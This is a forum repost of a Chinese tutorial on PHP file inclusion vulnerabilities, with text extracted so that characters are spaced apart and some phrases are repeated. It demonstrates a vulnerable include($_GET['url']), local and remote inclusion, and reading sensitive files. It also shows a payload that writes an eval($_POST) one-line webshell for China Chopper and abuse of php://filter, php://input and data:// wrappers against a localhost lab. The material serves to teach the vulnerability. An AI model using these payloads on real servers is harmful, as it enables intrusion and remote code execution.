搜索

[28169] 2020-02-16_文件包含漏洞原理浅探

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-02-16_文件包含漏洞原理浅探 文 件 包 含 漏 洞 原 理 浅 探 M i r r o r 王 宇 阳   O t s 安 全   2 0 2 0 - 0 2 - 1 6 1 . 1   文 件 包 含 文 件 包 含 文 件 包 含 是 指 一 个 文 件 里 面 包 含 另 外 一 个 文 件 ； 开 发 过 程 中 ， 重 复 使 用 的 函 数 会 写 入 单 独 的 文 件 中 ， 需 要 使 用 该 函 数 的 时 候 直 接 从 程 序 中 调 用 该 文 件 即 可 ， 这 一 个 过 程 就 是 “ 文 件 包 含 ” 由 于 文 件 包 含 的 功 能 特 性 ， 导 致 客 户 端 可 以 调 用 一 个 恶 意 文 件 ， 进 行 动 态 调 用 1 . 2   p h p 文 件 包 含 文 件 包 含 P H P 提 供 了 四 个 文 件 包 含 函 数 提 供 的 功 能 强 大 且 灵 活 多 变 ， 经 常 存 在 文 件 包 含 函 数 危 险 包 含 函 数 危 险 包 含 函 数 ( P H P ) 无 法 查 到 被 包 含 的 文 件 时 产 生 错 误 " E _ C O M P L E _ E R R O R " 停 止 运 行 和 前 者 一 样 ， 如 果 文 件 中 的 代 码 已 经 包 含 了 ， 则 不 再 会 包 含 无 法 查 到 被 包 含 的 文 件 是 产 生 警 告 " E _ W A R N I N G " 继 续 运 行 和 前 者 一 样 ， 无 法 查 到 被 包 含 的 文 件 是 产 生 警 告 " E _ W A R N I N G " 继 续 运 行 文 件 包 含 实 例 文 件 包 含 实 例 开 发 演 示 开 发 演 示 在 i n d e x . p h p 文 件 中 使 用 函 数 文 件 包 含 A r r a y U t i l . p h p 文 件 ， 在 i n d e x . p h p 中 可 以 使 用 A r r a y U t i l . p h p 文 件 中 的 P r i n t A r r ( ) 函 数 ； 在 i n d e x . p h p 第 4 行 我 们 调 用 了 P r i n t A r r ( ) 函 数 。 使 用 浏 览 器 访 问 使 用 浏 览 器 访 问 i n d e x . p h p i n c l u d e ( ) i n c l u d e _ o n c e ( ) r e q u i r e ( ) r e q u i r e _ o n c e ( ) < ? p h p         i n c l u d e ( " A r r a y U t i l . p h p " ) ;   / / 利 用 i n c l u d e 函 数 包 含         $ a r r   =   a r r a y ( " s o u g o u " , " g o o g l e " , " y a h o o " , " b a i d u " , " F a c k B o o k " ) ;         P r i n t A r r ( $ a r r ) ; ? > < ? p h p         f u n c t i o n   P r i n t A r r ( $ a r r , $ s p = '   = = >   ' , $ l i n = " < b r / > " ) {                 f o r e a c h   ( $ a r r   a s   $ k e y   = >   $ v a l u e )   {                         e c h o   " $ k e y   $ s p   $ v a l u e   $ l i n " ;                 }         } ? > i n c l u d e
漏 洞 演 示 （ 本 地 执 行 ） 漏 洞 演 示 （ 本 地 执 行 ） 喏 ！ 一 个 喏 ！ 一 个 t x t 文 件 被 成 功 包 含 了 ； 笔 者 测 试 了 其 它 各 种 服 务 器 可 接 受 的 文 件 格 式 ， 均 实 验 成 功 ！ 由 此 笔 者 得 到 的 论 证 文 件 被 成 功 包 含 了 ； 笔 者 测 试 了 其 它 各 种 服 务 器 可 接 受 的 文 件 格 式 ， 均 实 验 成 功 ！ 由 此 笔 者 得 到 的 论 证 是 ： 是 ： 函 数 包 含 的 任 何 文 件 都 会 以 函 数 包 含 的 任 何 文 件 都 会 以 P H P 文 件 解 析 ， 但 前 提 是 文 件 的 内 容 符 合 文 件 解 析 ， 但 前 提 是 文 件 的 内 容 符 合 P H P 代 码 规 范 ； 若 内 容 不 符 合 代 码 规 范 ； 若 内 容 不 符 合 P H P 代 代 码 规 范 则 会 在 页 面 暴 露 文 件 内 容 （ 这 是 重 点 ） 码 规 范 则 会 在 页 面 暴 露 文 件 内 容 （ 这 是 重 点 ） 漏 洞 演 示 （ 远 程 执 行 ） 漏 洞 演 示 （ 远 程 执 行 ） P H P 不 单 单 可 以 在 服 务 端 （ 本 地 ） 执 行 文 件 包 含 ， 也 可 以 远 程 执 行 文 件 包 含 ； 远 程 的 文 件 包 含 执 行 需 要 修 改 P H P . i n i 配 置 文 件 （ p h p 默 认 关 闭 远 程 包 含 文 件 ） 由 于 我 们 不 具 备 远 程 条 件 ， 只 好 本 地 搭 建 环 境 将 就 一 下 哈 ！ ！ ！ < ? p h p         i n c l u d e ( " p h p i n f o . t x t " ) ; ? > < ? p h p         p h p i n f o ( ) ; ? > i n c l u d e ( ) a l l o w _ u r l _ i n c l u d e   =   o n
D : p h p S t u d y p h p i n f o . t x t 1 2 7 . 0 . 0 . 1 / i n d e x . p h p 换 一 个 方 法 这 里 的 U R L 参 数 值 提 交 的 只 是 一 个 远 程 包 含 文 件 的 U R L 地 址 ； 远 程 文 件 包 含 和 本 地 文 件 包 含 的 解 析 方 法 一 样 ， 只 要 符 合 P H P 代 码 规 范 就 可 以 按 照 P H P 代 码 解 析 执 行 。 < ? p h p         p h p i n f o ( ) ; ? > < ? p h p         i n c l u d e ( " D : p h p S t u d y p h p i n f o . t x t " ) ; ? > < ? p h p         i n c l u d e ( $ _ G E T [ ' u r l ' ] ) ; ? > / /   记 住 这 个 代 码 后 面 会 一 直 使 用
如 果 我 们 包 含 的 文 件 不 存 在 ， 则 会 发 生 E r r o r ， 网 站 的 路 径 就 会 暴 露 ！ #   P H P 文 件 包 含 漏 洞 基 本 利 用 文 件 包 含 漏 洞 基 本 利 用 读 取 敏 感 文 件 读 取 敏 感 文 件 构 造 类 似 喏 ！ 我 们 看 见 了 文 本 内 容 ， 为 什 么 呢 ？ 喏 ！ 我 们 看 见 了 文 本 内 容 ， 为 什 么 呢 ？ 因 为 函 数 会 执 行 文 件 包 含 ， 不 管 是 什 么 格 式 的 文 件 只 要 符 合 P H P 代 码 规 范 的 内 容 就 会 按 照 P H P 解 析 ； 而 不 符 合 P H P 代 码 规 范 的 则 会 直 接 输 出 文 件 内 容 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / ? u r l = . p h p i n f o . t x t i n c l u d e ( )
综 合 特 性 ： 利 用 该 特 性 包 含 文 件 的 方 法 ， 访 问 本 地 的 其 它 文 件 均 会 执 行 p h p 解 析 或 者 回 显 文 本 的 内 容 ； 尤 其 是 系 统 敏 感 文 件 ， 例 如 p h p . i n i 配 置 文 件 、 m y . i n i 配 置 文 件 等 敏 感 信 息 ， 而 文 件 的 路 径 则 需 要 结 合 其 它 姿 势 来 获 得 （ 例 如 上 面 利 用 e r r o r 回 显 的 方 式 ） 重 要 的 一 点 ： 得 具 有 文 件 的 操 作 权 限 哦 重 要 的 一 点 ： 得 具 有 文 件 的 操 作 权 限 哦 远 程 包 含 远 程 包 含 S h e l l 远 程 包 含 文 本 的 条 件 是   创 建 s h e l l . t x t （ 功 能 : 在 服 务 端 本 地 创 建 一 句 话 木 马 脚 本 ） 构 造 ： 远 程 包 含 文 本 执 行 成 功 后 ， 服 务 端 本 地 会 创 建 一 个 " s h e l l . p h p " 一 句 话 木 马 执 行 文 件 s h e l l . p h p 创 建 后 ， 使 用 “ 菜 刀 ” 连 接 一 句 话 ： a l l o w _ u r l _ f o p e n =   o n < ? p h p         $ k e y =   ( " < ? p h p   @ e v a l ( $ _ P O S T [ ' m i r r o r ' ] ) ; ? > " ) ; / / $ 符 号 需 要 转 义 要 按 字 符 存         $ f i l e   =   f o p e n ( " s h e l l . p h p " , " w " ) ;         f w r i t e ( $ f i l e ,   $ k e y ) ;         f c l o s e ( $ f i l e ) ; ? > h t t p : / / 1 2 7 . 0 . 0 . 1 / ? u r l = . . x x s h e l l . t x t
喏 ！ 包 含 执 行 文 件 创 建 本 地 一 个 喏 ！ 包 含 执 行 文 件 创 建 本 地 一 个 s h e l l . p h p 一 句 话 木 马 ， 然 后 菜 刀 连 木 马 ！ 一 梭 子 搞 定 ！ 一 句 话 木 马 ， 然 后 菜 刀 连 木 马 ！ 一 梭 子 搞 定 ！ 文 件 包 含 配 合 上 传 文 件 包 含 配 合 上 传 利 用 w e b 应 用 的 上 传 功 能 ， 上 传 一 张 伪 木 马 图 片 ， 然 后 利 用 文 件 包 含 执 行 已 上 传 的 图 片 ， 然 后 伪 木 马 图 片 的 功 能 就 是 被 包 含 执 行 后 在 服 务 端 本 地 创 建 一 个 木 马 执 行 p h p 文 件 P H P 封 装 协 议 利 用 封 装 协 议 利 用 P H P 内 置 很 多 的 P H P 封 装 协 议 ( 详 细 见 官 方 文 档 ) ， 封 装 协 议 的 功 能 和 文 件 函 数 （ f o p e n ( ) , c o p y ( ) , f i l e _ e x i s t s ( ) , f i l e s i z e ( ) ） 提 供 的 功 能 相 似   默 认 开 启   该 选 项 为 o n 便 是 激 活 了   U R L   形 式 的   f o p e n   封 装 协 议 使 得 可 以 访 问   U R L   对 象 文 件 等 。   默 认 关 闭 ， 该 选 项 为 o n 便 是 允 许   包 含 U R L   对 象 文 件 等 考 虑 安 全 都 是 全 部 关 闭 内 置 封 装 协 议 内 置 封 装 协 议 【 引 用 官 方 文 档 】 f i l e : / /   —   访 问 本 地 文 件 系 统 h t t p : / /   —   访 问   H T T P ( s )   网 址 f t p : / /   —   访 问   F T P ( s )   U R L s d a t a : / /   —   数 据 （ R F C   2 3 9 7 ） g l o b : / /   —   查 找 匹 配 的 文 件 路 径 模 式 p h a r : / /   —   P H P   归 档 a l l o w _ u r l _ f o p e n ： o n a l l o w _ u r l _ i n c l u d e ： o f f
s s h 2 : / /   —   S e c u r e   S h e l l   2 r a r : / /   —   R A R o g g : / /   —   音 频 流 e x p e c t : / /   —   处 理 交 互 式 的 流 f i l e : / / 协 议 ： 访 问 本 地 文 件 系 统 p h p : / / 协 议 ： 访 问 各 个 I O 流 需 要 开 启   p h p : / / s t d i n ： 直 接 访 问 P H P 进 程 相 应 的 输 入 或 输 出 流 （ 只 读 ） p h p : / / s t d o u t ： 直 接 访 问 P H P 进 程 相 应 的 输 入 或 输 出 流 （ 只 写 ） p h p : / / s t d e r r ： 直 接 访 问 P H P 进 程 相 应 的 输 入 或 输 出 流 （ 只 写 ） p h p : / / f i l t e r ： 进 行 任 意 文 件 读 取 的 利 用 p h p : / / i n p u t ： 访 问 请 求 的 原 始 数 据 的 只 读 流 ， 将 p o s t 请 求 中 的 数 据 作 为 p h p 解 析 p h p : / / o u t p u t ： 只 写 的 数 据 流 ， 允 许 p r i n t 和 e c h o 方 式 写 入 到 输 出 缓 存 中 p h p : / / f d ： 允 许 直 接 访 问 指 定 的 文 件 描 述 符 更 多 详 细 可 以 参 考 官 方 更 多 详 细 可 以 参 考 官 方 p h p : / / 协 议 文 档 协 议 文 档 z i p : / / 协 议 ： （ z i p : / /   ,   b z i p 2 : / /   ,   z l i b : / /   ） 属 于 压 缩 流 ， 可 以 访 问 压 缩 文 件 中 的 子 文 件 ， 更 重 要 的 是 不 需 要 指 定 后 缀 名 注 意   井 字 符 号   ’   #   ‘   在 u r l 中 需 要 转 为   % 2 3 d a t a : / / 协 议 ： g l o b : / / 协 议 ： 查 询 匹 配 的 文 件 路 径 模 式 f i l e : / / [ 本 地 文 件 的 绝 对 路 径 和 文 件 名 ] a l l o w _ u r l _ i n c l u d e :   o n z i p : / /   [ 压 缩 文 件 绝 对 路 径 ] # [ 压 缩 文 件 内 的 子 文 件 名 ] a l l o w _ u t l _ i n c l u d e =   O n d a t a : / / t e x t / p l a i n ; b a s e 6 4 , [ s t r i n g _ b a s e 6 4 加 密 后 ] g l o b : / / [ u r l ]
e x p e c t : / / 协 议 ： 处 理 交 互 式 数 据 流 （ 默 认 未 开 启 ， 需 要 安 装 P E C L — E x p e c t 扩 展 ） 参 见 文 章 参 见 文 章 ： p h p 伪 协 议 实 现 命 令 执 行 的 七 种 姿 势 读 取 读 取 P H P 文 件 文 件 利 用 f i l e : / / 读 取 文 件 内 容 利 用 利 用 p h p : / / f i l t e r 读 取 读 取 p h p 文 件 内 容 文 件 内 容 这 里 的 结 果 是 经 过 B a s e 6 4 加 密 的 < ? p h p / /   循 环   e x t / s p l / e x a m p l e s /   目 录 里 所 有   * . p h p   文 件 / /   并 打 印 文 件 名 和 文 件 尺 寸 $ i t   =   n e w   D i r e c t o r y I t e r a t o r ( " g l o b : / / e x t / s p l / e x a m p l e s / * . p h p " ) ; f o r e a c h ( $ i t   a s   $ f )   {         p r i n t f ( " % s :   % . 1 F K n " ,   $ f - > g e t F i l e n a m e ( ) ,   $ f - > g e t S i z e ( ) / 1 0 2 4 ) ; } ? > e x p e c t : / / c o m m a n d f i l e : / / [ 本 地 文 件 的 绝 对 路 径 和 文 件 名 ] h t t p : / / 1 2 7 . 0 . 0 . 1 / ? u r l = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = s h e l l l . p h p
写 入 写 入 P H P 文 件 文 件 利 用 p h p : / / i n p u t ： 使 用 可 以 执 行 P H P 语 句 ， 但 是 受 限 于 u r l   t e x t : P o s t   d a t a : p h p : / / i n p u t a l l o w _ u t l _ i n c l u d e =   O n h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p / ? u r l = p h p : / / i n p u t < ? p h p   p h p i n f o ( ) ; ? >
喏 ！ 利 用 喏 ！ 利 用 “ p h p : / / i n p u t " 执 行 执 行 p h p 代 码 代 码 ” p o s t   d a t a 数 据 内 容 数 据 内 容 “ ， 这 里 只 是 回 显 ， 这 里 只 是 回 显 p h p i n f o ( ) ， 如 果 我 们 利 用 ， 如 果 我 们 利 用 p h p : / / i n p u t 执 行 服 务 端 本 执 行 服 务 端 本 地 创 建 地 创 建 p h p 一 句 话 木 马 文 件 ， 后 果 可 想 而 知 一 句 话 木 马 文 件 ， 后 果 可 想 而 知 利 用 d a t a : / / ： 受 限 于 p h p . i n i 配 置 a l l o w _ u t l _ i n c l u d e =   O n ? f i l e = [ d a t a : / / t e x t / p l a i n ; b a s e 6 4 , [ b a s e 6 4 编 码 加 密 的 p a y l o a d ) ]
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理